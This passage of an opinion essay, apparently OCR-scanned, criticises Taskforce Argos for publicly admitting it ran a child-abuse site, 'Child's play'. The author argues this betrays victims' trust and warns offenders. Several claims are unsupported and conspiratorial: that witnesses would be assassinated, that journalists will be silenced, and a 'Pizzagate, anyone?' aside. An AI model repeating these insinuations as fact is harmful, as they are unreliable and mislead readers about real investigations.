to break the 11'° commandment — of actually getting caught. This depressing narrative can be carried on 
through the echelons of corruption, be it on the streets, in the boardroom or indeed how it manifests itself in our 
lives. | can count on the fingers of one hand, those who | Know have suffered childhood sexual abuse, and | 
don’t have enough hairs on my head to include those | don’t know. It is a pernicious evil that destroys lives 
more effectively than any cancer, in that the very soul itself is eaten away. More often than not, those who 
experience this horror are not believed, but time has a habit of exposing what is going on. The current Harvey 
Weinstein debacle is just a very small tip of a very large iceberg. Like a lot of the other scandals, the full truth 
will not get out until there are bodies rotting in the ground. 


And here lies a very uncomfortable truth. Taskforce Argos is dealing with certain groups and individuals that 
would not hesitate in silencing witnesses, be it through assassination of character or ultimately the body. The 
stakes are too high to allow any mistakes. And here lies the problem. Sting operations are great at picking up 
the flotsam and jetsam that are foolish enough to get caught, but the real perpetrators will always be one step 
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further removed. The intelligence that Argos has picked up will be like gold dust, but like the combined US UK 
operation, Operation Ore, no doubt journalists and those who seek questions to pertinent questions will be 
silenced. 


This is not a conspiracy theory. The biggest challenge of any counselor or professional dealing with victims of 
these vile wrongdoings Is establishing trust. And that particular quality is in very short supply when dealing with 
anyone in authority. If you are not believed, who do you believe? As a victim, suppose | find a law enforcement 
official who “gets it”, but in the process, they use an identical technique as the perpetrator to ensure justice. | 
struggle with the use of lies, misinformation and deceit — even if the good guys use them. 


Call me innocent or naive, | care not. One that precious thread of trust is broken, not only are the gloves off, but 
any argument will escalate into a battle and then a war. One of the oldest understandings of English society is 
built on the foundation of that the word of a man is his bond, a handshake seals the deal. By compromising the 
administrative leadership of Child’s play, and publicly stating the fact they have done so, they have handed 
tempo to the other side. As any chess player knows, the tempo is an essential factor in a winning game. Argos 
may have a good position at the moment, but the long-term gameplay is clear. The generals in charge of the 
battalions on the other side will have taken note. Foxholes will be dug, troops reassigned, and those that spy 
given alternative orders. It would have been better if Argos had stayed quiet, kept on monitoring, but like the 
submarine that has to surface, there are only a number of reasons why they have had to come up for air. Either 
they are running out of resources, or something more is going on. Pizzagate, anyone? 


I'll walk in the middle of the road on this one and assume the collective pressure of evidence, and limited 
resources to prosecute and investigate further have fed the beast of justice enough for a decent snack. 
Personally, | think it is a PR disaster for the organisation. | would have been more inclined to keep the “We 
compromised the admin and traded porn” bit in the hands of the lawyers, and what falls out during discovery 
rather than making political capital out of it. But I’m old school. Maybe something else is in play. 


No matter what the outcome, it looks like a dent, if not a hole has been inflicted on the submarine that most 
people would prefer to ignore. Child abuse is a taboo subject, along with politics and religion. Something that is 
not discussed in polite company. So be it. While such evil carries on unchallenged, without debate, those at the 
front line have to mop up the mess and in the process, work behind the scenes and marshal what scant 
resources they have away from the public eye. Argos, it is possible you may have done the wrong thing 
for the right reasons. You. might even have done the right thing for the wrong reasons. It is clear though, 
that you have not done the right thing for the right reasons, which is ironic. Those you fight do the wrong things 
for the wrong reasons. 
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